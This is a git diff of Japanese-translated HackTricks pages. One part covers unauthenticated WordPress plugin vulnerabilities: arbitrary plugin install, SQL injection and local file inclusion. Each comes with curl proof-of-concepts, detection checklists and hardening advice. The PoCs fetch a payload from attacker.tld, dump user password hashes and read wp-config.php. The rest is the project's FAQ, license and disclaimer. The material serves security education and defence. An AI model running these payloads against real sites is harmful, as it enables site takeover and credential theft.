- Vulnerable path: plugin/install_and_activate
|
||||
- Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes”
|
||||
- Impact: full compromise via arbitrary plugin install/activation
|
||||
|
||||
PoC (shape depends on plugin; illustrative only)
|
||||
```bash
|
||||
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
|
||||
-H 'Content-Type: application/json' \
|
||||
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'
|
||||
```
|
||||
検出チェックリスト
|
||||
- wp_verify_nonce()/check_admin_referer() のみで権限チェックがない、プラグイン/テーマを変更する REST/AJAX ハンドラ
|
||||
- nonce 検証後に $skip_caps = true を設定する任意のコードパス
|
||||
|
||||
Hardening
|
||||
- nonces は常に CSRF トークンとしてのみ扱う;nonce の状態に関係なく権限チェックを強制する
|
||||
- installer code に到達する前に current_user_can('install_plugins') と current_user_can('activate_plugins') を要求する
|
||||
- 未認証アクセスを拒否する;特権フローに対して nopriv AJAX actions を公開しない
|
||||
|
||||
---
|
||||
|
||||
## depicter-* actions の s (search) パラメータ経由の認証不要の SQLi (Depicter Slider ≤ 3.6.1)
|
||||
|
||||
複数の depicter-* アクションが s (search) パラメータを受け取り、パラメータ化なしで SQL クエリに連結していた。
|
||||
|
||||
- Parameter: s (search)
|
||||
- Flaw: WHERE/LIKE 句での直接文字列連結;prepared statements/サニタイズなし
|
||||
- Impact: database exfiltration (users, hashes), lateral movement
|
||||
|
||||
PoC
|
||||
```bash
|
||||
# Replace action with the affected depicter-* handler on the target
|
||||
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
|
||||
--data-urlencode 'action=depicter_search' \
|
||||
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"
|
||||
```
|
||||
Detection checklist
|
||||
- Grep for depicter-* action handlers and direct use of $_GET['s'] or $_POST['s'] in SQL
|
||||
- $wpdb->get_results()/query() に渡されるカスタムクエリで s を連結している箇所を確認
|
||||
|
||||
Hardening
|
||||
- 常に $wpdb->prepare() または wpdb プレースホルダを使用し、サーバー側で予期しないメタ文字を拒否する
|
||||
- s に対して厳密な許可リストを追加し、期待される文字セット/長さに正規化する
|
||||
|
||||
---
|
||||
|
||||
## 認証不要の Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1)
|
||||
|
||||
テンプレートパラメータで攻撃者制御のパスを正規化/制限せずに受け入れると、任意のローカルファイルの読み取りを許し、includable な PHP やログファイルが実行時に取り込まれる場合はコード実行が発生することがある。
|
||||
|
||||
- パラメータ: __kubio-site-edit-iframe-classic-template
|
||||
- 脆弱性: 正規化/許可リストがなく、パス・トラバーサルが可能
|
||||
- 影響: 秘密情報の漏洩 (wp-config.php)、特定の環境では RCE の可能性 (log poisoning、includable PHP)
|
||||
|
||||
PoC – wp-config.php を読み取る
|
||||
```bash
|
||||
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"
|
||||
```
|
||||
検出チェックリスト
|
||||
- realpath() による包含チェックを行わずにリクエストパスを include()/require()/read シンクに連結するハンドラーがないか確認する
|
||||
- 意図した templates ディレクトリの外に到達する traversal パターン (../) を探す
|
||||
|
||||
ハードニング
|
||||
- 許可リスト化されたテンプレートを強制する。realpath() で解決し、str_starts_with(realpath(file), realpath(allowed_base)) を要求する
|
||||
- 入力を正規化する。traversal シーケンスと絶対パスを拒否する。sanitize_file_name() はファイル名(フルパスではなく)にのみ使用する
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
|
||||
- [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
|
||||
@ -714,5 +855,11 @@ curl -G https://victim.com/wp-admin/admin-post.php \
|
||||
- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
|
||||
- [Unpatched Privilege Escalation in Service Finder Bookings Plugin](https://patchstack.com/articles/unpatched-privilege-escalation-in-service-finder-bookings-plugin/)
|
||||
- [Service Finder Bookings privilege escalation – Patchstack DB entry](https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-booking-6-0-privilege-escalation-vulnerability)
|
||||
- [Unauthenticated Broken Authentication Vulnerability in WordPress Jobmonster Theme](https://patchstack.com/articles/unauthenticated-broken-authentication-vulnerability-in-wordpress-jobmonster-theme/)
|
||||
- [Q3 2025’s most exploited WordPress vulnerabilities and how RapidMitigate blocked them](https://patchstack.com/articles/q3-2025s-most-exploited-wordpress-vulnerabilities-and-how-patchstacks-rapidmitigate-blocked-them/)
|
||||
- [OttoKit (SureTriggers) ≤ 1.0.82 – Privilege Escalation (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/suretriggers/vulnerability/wordpress-suretriggers-1-0-82-privilege-escalation-vulnerability)
|
||||
- [FunnelKit Automations ≤ 3.5.3 – Unauthenticated arbitrary plugin installation (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/wp-marketing-automations/vulnerability/wordpress-recover-woocommerce-cart-abandonment-newsletter-email-marketing-marketing-automation-by-funnelkit-plugin-3-5-3-missing-authorization-to-unauthenticated-arbitrary-plugin-installation-vulnerability)
|
||||
- [Depicter Slider ≤ 3.6.1 – Unauthenticated SQLi via s parameter (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/depicter/vulnerability/wordpress-depicter-slider-plugin-3-6-1-unauthenticated-sql-injection-via-s-parameter-vulnerability)
|
||||
- [Kubio AI Page Builder ≤ 2.5.1 – Unauthenticated LFI (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/kubio/vulnerability/wordpress-kubio-ai-page-builder-plugin-2-5-1-unauthenticated-local-file-inclusion-vulnerability)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,21 +1,21 @@
|
||||
# HackTricks の価値観と FAQ
|
||||
# HackTricksの価値観とFAQ
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## HackTricks の価値観
|
||||
## HackTricksの価値観
|
||||
|
||||
> [!TIP]
|
||||
> 以下は **HackTricks プロジェクトの価値観** です:
|
||||
> これらは**HackTricksプロジェクトの価値観**です:
|
||||
>
|
||||
> - インターネットのすべての人に **FREE** で **EDUCATIONAL hacking** リソースへのアクセスを提供すること。
|
||||
> - Hacking は学びに関するものであり、学びはできる限り無料であるべきです。
|
||||
> - この本の目的は包括的な **教育リソース** として役立つことです。
|
||||
> - コミュニティが公開する素晴らしい **hacking** テクニックを保存し、原著者にすべてのクレジットを付与すること。
|
||||
> - 私たちは他人のクレジットを欲しているのではなく、みんなのためにクールなトリックを保存したいだけです。
|
||||
> - 私たち自身の研究も HackTricks に記載します。
|
||||
> - 多くの場合、技術の重要な部分の**要約を HackTricks に記載し**、より詳細は読者に元の投稿を確認するよう促します。
|
||||
> - 本にあるすべての **hacking** テクニックを整理し、よりアクセスしやすくすること。
|
||||
> - HackTricks チームは、コンテンツを整理するためだけに何千時間もの無償の時間を費やし、人々が**より早く学べる**ようにしています。
|
||||
> - インターネット上の**すべての人**に**無料**で**教育的な hacking**リソースを提供する。
|
||||
> - Hackingは学びであり、学びは可能な限り無料であるべきです。
|
||||
> - この本の目的は包括的な**教育的リソース**として機能することです。
|
||||
> - コミュニティが公開する素晴らしい**hacking**テクニックを**保存**し、**元の著者**にすべての**クレジット**を与える。
|
||||
> - **他人からクレジットを得たいわけではありません**。全員のためにかっこいいトリックを保存したいだけです。
|
||||
> - HackTricksでは**独自の調査**も執筆しています。
|
||||
> - 場合によっては、テクニックの重要な部分をHackTricksに**要約**して書き、詳細については**読者に元の投稿を参照することを推奨**します。
|
||||
> - 本に掲載されるすべてのhackingテクニックを**整理**して、より**アクセスしやすく**する。
|
||||
> - HackTricksチームは、ユーザが**より早く学べるように**コンテンツを整理することだけに何千時間も無償で費やしています。
|
||||
|
||||
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
@ -23,35 +23,35 @@
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **これらのリソースを本当にありがとう、どうやってお礼を言えばいいですか?**
|
||||
> - **これらのリソースを本当にありがとうございます。どのように感謝すればよいですか?**
|
||||
|
||||
これらのリソースをまとめてくれた HackTricks チームに対して、[**@hacktricks_live**](https://twitter.com/hacktricks_live) をメンションしたツイートで公開に感謝を伝えることができます。\
|
||||
特に感謝している場合は、[**こちらからプロジェクトをスポンサーする**](https://github.com/sponsors/carlospolop)こともできます。\
|
||||
そして Github プロジェクトに**スターを付ける**のを忘れないでください!(リンクは下にあります)
|
||||
You can publicly thanks HackTricks teams for putting together all these resources publicly in a tweet mentioning [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
|
||||
If you are specially grateful you can also [**sponsor the project here**](https://github.com/sponsors/carlospolop).\
|
||||
And don't forget to **give a star in the Github projects!** (Find the links below).
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **プロジェクトにどう貢献できますか?**
|
||||
|
||||
本で見つけた **新しい tips and tricks をコミュニティと共有する、またはバグを修正する** には、該当する Github ページに **Pull Request** を送ってください:
|
||||
コミュニティと**新しいtipsやtricksを共有したり、本で見つけたバグを修正したり**するには、該当するGithubページに**Pull Request**を送ってください:
|
||||
|
||||
- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
|
||||
- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
|
||||
|
||||
Github プロジェクトに**スターを付ける**のを忘れないでください!
|
||||
Don't forget to **give a star in the Github projects!**
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **HackTricks の一部のコンテンツをコピーして自分のブログに掲載してもいいですか?**
|
||||
> - **HackTricksのコンテンツをコピーして自分のブログに掲載してもいいですか?**
|
||||
|
||||
はい、可能です。ただし、コンテンツを取得した**具体的なリンク**を必ず記載してください。
|
||||
はい、可能です。ただし、**コンテンツを取得した具体的なリンクを明記する**ことを忘れないでください。
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **HackTricks のページを参照するにはどうすればよいですか?**
|
||||
> - **HackTricksのページをどう引用できますか?**
|
||||
|
||||
情報を取得したページのリンクが示されていればそれで十分です。\
|
||||
bibtex が必要な場合は、次のようにしてください:
|
||||
情報を取得したページのリンクが表示されていればそれで十分です.\
|
||||
If you need a bibtex you can use something like:
|
||||
```latex
|
||||
@misc{hacktricks-bibtexing,
|
||||
author = {"HackTricks Team" or the Authors name of the specific page/trick},
|
||||
@ -62,82 +62,82 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
|
||||
```
|
||||
> [!WARNING]
|
||||
>
|
||||
> - **私のブログにHackTricksの全コンテンツをコピーして掲載できますか?**
|
||||
> - **Can I copy all HackTricks in my blog?**
|
||||
|
||||
**おすすめしません**。それは**誰の利益にもなりません**。なぜなら全ての**コンテンツは既に公式のHackTricks本で無料で公開されている**からです。
|
||||
**控えていただきたいです**。それは**誰の利益にもなりません**。なぜなら**コンテンツは既に公式のHackTricks本で無料で公開されている**からです。
|
||||
|
||||
もし消えることを心配しているなら、Githubでforkするかダウンロードしてください。繰り返しますが既に無料です。
|
||||
もしそれが消えることを心配しているなら、Githubでforkするかダウンロードしてください。繰り返しますが、既に無料です。
|
||||
|
||||
> [!WARNING]
|
||||
>
|
||||
> - **なぜスポンサーがいるのですか?HackTricksの本は商業目的ですか?**
|
||||
> - **Why do you have sponsors? Are HackTricks books for commercial purposes?**
|
||||
|
||||
最初の**HackTricks**の**価値**は、世界中の**すべての人に**ハッキング教育リソースを**無料で**提供することです。HackTricksチームはこのコンテンツを提供するために**何千時間も費やしてきました**。繰り返しますが、**無料**です。
|
||||
最初の **HackTricks** の **価値** は、世界中の **ALL** の人々に **FREE** の hacking 教育リソースを提供することです。HackTricksチームはこのコンテンツを提供するために **何千時間もの時間を捧げており**、繰り返しますが **FREE** です。
|
||||
|
||||
もしHackTricksの本が**商業目的**で作られていると思うなら、それは**完全に間違いです**。
|
||||
もしHackTricksの本が **commercial purposes** のために作られていると思うなら、それは **完全に間違いです**。
|
||||
|
||||
スポンサーがいるのは、全コンテンツが無料であっても、コミュニティが我々の仕事を評価したい場合の手段を提供したいからです。したがって、[**Github sponsors**](https://github.com/sponsors/carlospolop)経由でHackTricksに寄付するオプションを提供し、また**関連するサイバーセキュリティ企業**にHackTricksのスポンサーや、本中の**広告**出稿をしてもらっています。これらの**広告**は常に**目に付きやすい場所**に配置されますが、コンテンツに集中している人の学習を**妨げない**ように配置しています。
|
||||
スポンサーがいるのは、すべてのコンテンツがFREEであっても、コミュニティが我々の仕事を評価したい場合にその機会を**提供したい**からです。したがって、人々にはHackTricksへ寄付するオプションとして[**Github sponsors**](https://github.com/sponsors/carlospolop)を提供し、**relevant cybersecurity companies** にHackTricksをスポンサーしてもらい、本には**ads**を配置することがあります。広告は常に学習の妨げにならないよう、**visible** な場所に配置しています。
|
||||
|
||||
HackTricksは商業目的で作られていないため、コンテンツ量がはるかに少ない他のブログのように不快な広告で溢れていることはありません。
|
||||
HackTricksは商用目的で作られていないため、コンテンツ量がはるかに少ない他のブログのような迷惑な広告で埋め尽くされていることはありません。
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **あるHackTricksのページが私のブログ記事を元にしているが参照されていない場合はどうすればよいですか?**
|
||||
> - **What should I do if some HackTricks page is based on my blog post but it isn't referenced?**
|
||||
|
||||
**大変申し訳ありません。こんなことが起きるべきではありませんでした**。該当するHackTricksページのリンクとあなたのブログのリンクを、Github issues, Twitter, Discordなどでお知らせください。**確認してできるだけ早く参照を追加します**。
|
||||
**大変申し訳ありません。こんなことが起こるべきではありませんでした**。Github issues、Twitter、Discord... 等で、該当するHackTricksページのリンクとあなたのブログのリンクをお知らせください。**確認してできるだけ早く追加します**。
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **HackTricksに私のブログのコンテンツがあり、そこから削除してほしい場合はどうすればよいですか?**
|
||||
> - **What should I do if there is content from my blog in HackTricks and I don't want it there?**
|
||||
|
||||
以下の点にご注意ください。HackTricksにあなたのページへのリンクがあることは:
|
||||
HackTricksにあなたのページへのリンクがあることは次の点で有益であることにご注意ください:
|
||||
|
||||
- あなたの**SEOが向上する**
|
||||
- コンテンツは**15以上の言語に翻訳され**、より多くの人がアクセスできるようになる
|
||||
- **HackTricksは**人々にあなたのページを**確認することを促します**(自分のページがHackTricksに掲載されて以来、アクセスが増えたと報告してくれる人が何人かいます)
|
||||
- Improve your **SEO**
|
||||
- コンテンツは**15以上の言語に翻訳され**、より多くの人がその内容にアクセスできるようになります
|
||||
- **HackTricksは**人々に**あなたのページを確認する**ことを奨励します(いくつかの方から、彼らのページがHackTricksに掲載されて以来アクセスが増えたと報告を受けています)
|
||||
|
||||
それでもHackTricksからあなたのブログのコンテンツを削除してほしい場合は、お知らせください。確実にあなたのブログへのすべてのリンクと、それに基づくコンテンツを**削除します**。
|
||||
それでもあなたのブログのコンテンツをHackTricksから削除してほしい場合は、お知らせください。私たちは確実に**あなたのブログへのすべてのリンクを削除**し、それに基づくすべてのコンテンツを削除します。
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **HackTricksにコピー&ペーストされたコンテンツを見つけた場合はどうすればよいですか?**
|
||||
> - **What should I do if I find copy-pasted content in HackTricks?**
|
||||
|
||||
私たちは常に**原著作者に全てのクレジットを与えます**。もし原典の参照なしにコピー&ペーストされたコンテンツを含むページを見つけた場合はご連絡ください。該当ページは**削除する**か、**該当テキストの前にリンクを追加する**か、あるいは**リンクを付けて書き直す**いずれかの対応を行います。
|
||||
私たちは常に**元の著者にすべてのクレジットを与えます**。もし出典が示されていないコピー&ペーストされたコンテンツを見つけた場合はお知らせください。私たちはそれを**削除する**か、**テキストの前にリンクを追加する**か、あるいは**リンクを付けて書き直す**いずれかの対応を行います。
|
||||
|
||||
## ライセンス
|
||||
|
||||
著作権 © 特に指定されていない限り全ての権利を保有します。
|
||||
Copyright © 特に明記されていない限り、すべての権利を保有します。
|
||||
|
||||
#### ライセンス概要:
|
||||
#### ライセンス概要:
|
||||
|
||||
- 帰属: 次のことが許可されています:
|
||||
- 共有 — いかなる媒体やフォーマットでも資料をコピーおよび再配布すること。
|
||||
- 改変 — リミックス、変換、または資料を基に作成すること。
|
||||
- Attribution: あなたは以下を行うことができます:
|
||||
- Share — 資料をあらゆる媒体やフォーマットでコピーおよび再配布すること。
|
||||
- Adapt — 資料をリミックス、変換、基にして構築すること。
|
||||
|
||||
#### 追加条項:
|
||||
#### 追加条件:
|
||||
|
||||
- 第三者コンテンツ: 本ブログ/本書の一部には、他のブログや出版物からの抜粋など、第三者のソースからのコンテンツが含まれる場合があります。そのようなコンテンツの使用は、フェアユースの原則に基づくか、該当する著作権者からの明示的な許可の下で行われています。第三者コンテンツに関する具体的なライセンス情報については、元のソースを参照してください。
|
||||
- 著作者表示: HackTricksが作成したオリジナルコンテンツは本ライセンスの対象となります。共有や改変を行う際は、著作者への帰属を推奨します。
|
||||
- Third-Party Content: このブログ/本の一部には、他のブログや出版物からの抜粋など、他のソースからのコンテンツが含まれる場合があります。そのようなコンテンツの使用は、フェアユースの原則に基づくか、該当する著作権保有者からの明示的な許可のもとで行われています。サードパーティのコンテンツに関する具体的なライセンス情報は元のソースを参照してください。
|
||||
- Authorship: HackTricksによって作成されたオリジナルのコンテンツは本ライセンスの対象となります。共有または改変する際は、この作品を著者に帰属させることを推奨します。
|
||||
|
||||
#### 例外:
|
||||
#### 免除事項:
|
||||
|
||||
- 商業利用: 本コンテンツの商業利用に関するお問い合わせはご連絡ください。
|
||||
- Commercial Use: 本コンテンツの商用利用に関するお問い合わせはご連絡ください。
|
||||
|
||||
本ライセンスは、本コンテンツに関連する商標やブランディングの権利を付与するものではありません。本ブログ/本書に掲載されているすべての商標およびブランディングは、それぞれの所有者に帰属します。
|
||||
このライセンスは、コンテンツに関連する商標やブランディング権を付与するものではありません。本ブログ/本に掲載されているすべての商標およびブランディングは、それぞれの所有者に帰属します。
|
||||
|
||||
**HackTricksにアクセスまたは使用することで、あなたはこのライセンスの条件に従うことに同意したものとみなされます。これらの条件に同意されない場合は、本ウェブサイトにアクセスしないでください。**
|
||||
**HackTricksにアクセスまたは使用することで、あなたはこのライセンスの条件に従うことに同意したものとみなされます。これらの条件に同意しない場合は、このウェブサイトにアクセスしないでください。**
|
||||
|
||||
## **免責事項**
|
||||
|
||||
> [!CAUTION]
|
||||
> 本書『HackTricks』は教育および情報提供を目的としています。本書内のコンテンツは「現状のまま」提供されており、著者および出版社は、本書に含まれる情報、製品、サービス、関連図版の完全性、正確性、信頼性、適合性、または入手可能性について、明示的にも黙示的にも一切の表明や保証を行いません。したがって、本書の情報に依拠する場合、そのリスクは全て利用者自身が負うものとします。
|
||||
> この本『HackTricks』は教育および情報提供のみを目的としています。本書の内容は「現状のまま」提供されており、著者および出版社は、本書に含まれる情報、製品、サービス、関連図表の完全性、正確性、信頼性、適合性、または入手可能性について、明示または黙示のいかなる保証も行いません。したがって、これらの情報に依存する場合は、そのリスクはすべて利用者自身が負うものとします。
|
||||
>
|
||||
> 著者および出版社は、本書の利用に起因または関連して発生したデータや利益の損失を含むいかなる損失や損害(間接的損害や結果的損害を含む)についても一切の責任を負わないものとします。
|
||||
> 著者および出版社は、いかなる場合においても、間接的または結果的損害を含むいかなる損失や損害、またはデータや利益の損失に起因する損害について責任を負いません。
|
||||
>
|
||||
> さらに、本書に記載されている手法やヒントは教育および情報提供のみを目的としており、違法または悪意ある活動のために使用されるべきではありません。著者および出版社は違法または非倫理的な活動を容認または支持するものではなく、本書に含まれる情報の利用は利用者自身の責任と裁量によるものです。
|
||||
> さらに、本書で説明されている手法やヒントは教育および情報提供の目的で提供されており、違法または悪意のある活動に使用されるべきではありません。著者および出版社は違法または非倫理的な活動を容認または支持するものではなく、本書に含まれる情報の使用は利用者自身の責任と判断において行われるべきです。
|
||||
>
|
||||
> 本書に含まれる情報に基づいて行われた行為についての責任は利用者自身にあり、ここに記載された手法やヒントを実行する際は常に専門家の助言や支援を求めるべきです。
|
||||
> 本書に含まれる情報に基づいて行われた行為についての責任は利用者自身にあり、記載された技術やヒントを実装する際は常に専門家の助言や支援を求めるべきです。
|
||||
>
|
||||
> 本書を使用することにより、利用者は本書および本書に含まれる情報の使用から生じる可能性のある損害、損失、または害に関して、著者および出版社を免責することに同意したものとみなされます。
|
||||
> 本書を使用することにより、利用者は本書の著者および出版社を、使用に起因または関連して生じるいかなる損害、損失、または害についても一切の責任および義務から免除することに同意したものとみなされます。
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user